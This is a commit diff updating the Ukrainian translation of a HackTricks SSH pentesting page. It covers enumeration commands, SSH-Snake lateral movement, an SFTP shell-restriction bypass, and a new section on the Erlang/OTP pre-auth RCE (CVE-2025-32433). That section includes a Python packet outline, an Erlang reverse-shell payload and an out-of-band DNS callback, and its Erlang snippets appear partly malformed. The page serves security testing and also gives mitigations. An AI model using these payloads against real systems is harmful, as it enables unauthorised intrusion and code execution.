mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to uk
This commit is contained in:
Translator
parent
a8640cf21c
commit
ae1874abdd
@ -75,9 +75,11 @@ $ python3 ssh-audit <IP>
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### Слабкі шифрувальні алгоритми
|
||||
### Слабкі алгоритми шифрування
|
||||
|
||||
Це виявляється за замов
|
||||
Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використовувати **sslcan** або **sslyze**.
|
||||
|
||||
### Скрипти Nmap
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
@ -107,7 +109,7 @@ msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
Або модуль допоміжних засобів MSF:
|
||||
Або модуль допоміжного MSF:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
@ -161,20 +163,20 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) робить саме те, що описано вище.
|
||||
|
||||
Щоб захопити фактичний MitM, ви можете використовувати такі техніки, як ARP-спуфінг, DNS-спуфінг або інші, описані в [**Атаках на мережеве спуфінг**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
Щоб захопити, виконайте фактичний MitM, ви можете використовувати такі техніки, як ARP спуфінг, DNS спуфінг або інші, описані в [**Атаках на мережеве спуфінг**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні ключі SSH на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно.
|
||||
Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні SSH ключі на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно.
|
||||
|
||||
SSH-Snake автоматично та рекурсивно виконує такі завдання:
|
||||
|
||||
1. На поточній системі знайти будь-які приватні ключі SSH,
|
||||
1. На поточній системі знайти будь-які приватні SSH ключі,
|
||||
2. На поточній системі знайти будь-які хости або призначення (user@host), які можуть приймати приватні ключі,
|
||||
3. Спробувати підключитися до всіх призначень, використовуючи всі виявлені приватні ключі,
|
||||
4. Якщо призначення успішно підключено, повторити кроки #1 - #4 на підключеній системі.
|
||||
|
||||
Це повністю самовідтворюється і саморозповсюджується - і повністю безфайлове.
|
||||
Він повністю самовідтворюється і саморозповсюджується - і повністю безфайловий.
|
||||
|
||||
## Неправильні конфігурації
|
||||
|
||||
@ -195,7 +197,7 @@ SSH-Snake автоматично та рекурсивно виконує так
|
||||
|
||||
### Виконання команд SFTP
|
||||
|
||||
Існує поширене недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення віддаленого доступу до оболонки. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, `/usr/bin/nologin`) і обмежуються певною директорією, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
|
||||
Існує поширена помилка в налаштуваннях SFTP, коли адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, `/usr/bin/nologin`) і обмежуються певною директорією, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
|
||||
|
||||
[Приклад звідси](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -232,7 +234,7 @@ PermitTTY no
|
||||
```
|
||||
Ця конфігурація дозволить лише SFTP: відключаючи доступ до оболонки, примушуючи команду запуску та відключаючи доступ до TTY, а також відключаючи всі види переадресації портів або тунелювання.
|
||||
|
||||
### SFTP Tunneling
|
||||
### SFTP Тунелювання
|
||||
|
||||
Якщо у вас є доступ до SFTP сервера, ви також можете тунелювати свій трафік через це, наприклад, використовуючи звичайну переадресацію портів:
|
||||
```bash
|
||||
@ -240,13 +242,13 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
Команда **sftp** має команду "**symlink**". Тому, якщо у вас є **права на запис** в якійсь папці, ви можете створювати **symlink** на **інші папки/файли**. Оскільки ви, ймовірно, **застрягли** всередині chroot, це **не буде особливо корисно** для вас, але, якщо ви можете **доступитися** до створеного **symlink** з **no-chroot** **сервісу** (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б **відкрити symlinked файли через веб**.
|
||||
Команда **sftp** має команду "**symlink**". Тому, якщо у вас є **права на запис** в якійсь папці, ви можете створювати **symlink** на **інші папки/файли**. Оскільки ви, напевно, **застрягли** всередині chroot, це **не буде особливо корисно** для вас, але, якщо ви можете **доступитися** до створеного **symlink** з **no-chroot** **сервісу** (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б **відкрити symlinked файли через веб**.
|
||||
|
||||
Наприклад, щоб створити **symlink** з нового файлу **"**_**froot**_**" на "**_**/**_**"**:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете перерахувати кореневу ("/") папку системи.
|
||||
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете переглянути кореневу ("/") папку системи.
|
||||
|
||||
### Методи аутентифікації
|
||||
|
||||
@ -279,12 +281,68 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## References
|
||||
## Обхід стану аутентифікації (Pre-Auth RCE)
|
||||
|
||||
- Ви можете знайти цікаві посібники про те, як зміцнити SSH на [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
Декілька реалізацій SSH-серверів містять логічні помилки в **кінцевому автоматі аутентифікації**, які дозволяють клієнту надсилати *повідомлення протоколу з'єднання* **до** завершення аутентифікації. Оскільки сервер не перевіряє, що він у правильному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до **неаутентифікованого виконання коду** або створення сесії.
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
На рівні протоколу будь-яке SSH-повідомлення з _кодом повідомлення_ **≥ 80** (0x50) належить до *шару з'єднання* (RFC 4254) і повинно **прийматися лише після успішної аутентифікації** (RFC 4252). Якщо сервер обробляє одне з цих повідомлень, перебуваючи ще в стані *SSH_AUTHENTICATION*, зловмисник може негайно створити канал і запитати дії, такі як виконання команд, переадресація портів тощо.
|
||||
|
||||
### Загальні кроки експлуатації
|
||||
1. Встановіть TCP-з'єднання з SSH-портом цілі (зазвичай 22, але інші служби можуть відкривати Erlang/OTP на 2022, 830, 2222…).
|
||||
2. Сформуйте сирий SSH-пакет:
|
||||
* 4-байтовий **packet_length** (big-endian)
|
||||
* 1-байтовий **message_code** ≥ 80 (наприклад, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Вантаж, який буде зрозумілий обраного типу повідомлення
|
||||
3. Надішліть пакет(и) **до завершення будь-якого кроку аутентифікації**.
|
||||
4. Взаємодійте з API сервера, які тепер доступні _pre-auth_ (виконання команд, переадресація портів, доступ до файлової системи тощо).
|
||||
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
# skip version exchange for brevity – send your own client banner then read server banner
|
||||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
На практиці вам потрібно буде виконати (або пропустити) обмін ключами відповідно до реалізації цілі, але **жодна аутентифікація** ніколи не виконується.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Підлягаючі версії:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Корінна причина:** вбудований SSH-демон Erlang не перевіряє поточний стан перед викликом `ssh_connection:handle_msg/2`. Тому будь-який пакет з кодом повідомлення 80-255 досягає обробника з'єднання, поки сесія все ще знаходиться в стані *userauth*.
|
||||
* **Вплив:** неаутентифіковане **віддалене виконання коду** (демон зазвичай працює як **root** на вбудованих/OT пристроях).
|
||||
|
||||
Приклад корисного навантаження, яке створює зворотний шелл, прив'язаний до каналу, контрольованого зловмисником:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Сліпа RCE / виявлення поза каналом може бути виконано через DNS:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Виявлення та пом'якшення:
|
||||
* Перевірте трафік SSH: **відхиліть будь-який пакет з кодом повідомлення ≥ 80, спостережуваним до аутентифікації**.
|
||||
* Оновіть Erlang/OTP до **27.3.3 / 26.2.5.11 / 25.3.2.20** або новішої версії.
|
||||
* Обмежте доступ до портів управління (22/2022/830/2222) – особливо на обладнанні OT.
|
||||
|
||||
---
|
||||
### Інші реалізації, що підлягають впливу
|
||||
* **libssh** 0.6 – 0.8 (сторона сервера) – **CVE-2018-10933** – приймає неаутентифіковане `SSH_MSG_USERAUTH_SUCCESS`, надіслане клієнтом, фактично є логічною помилкою зворотного порядку.
|
||||
|
||||
Загальний урок полягає в тому, що будь-яке відхилення від станів, передбачених RFC, може бути фатальним; при перегляді або фуззингу демонів SSH звертайте особливу увагу на *забезпечення станів машини*.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [Посібники з посилення SSH](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Посібник з хакінгу SSH від Turgensec](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
## Автоматичні команди HackTricks
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user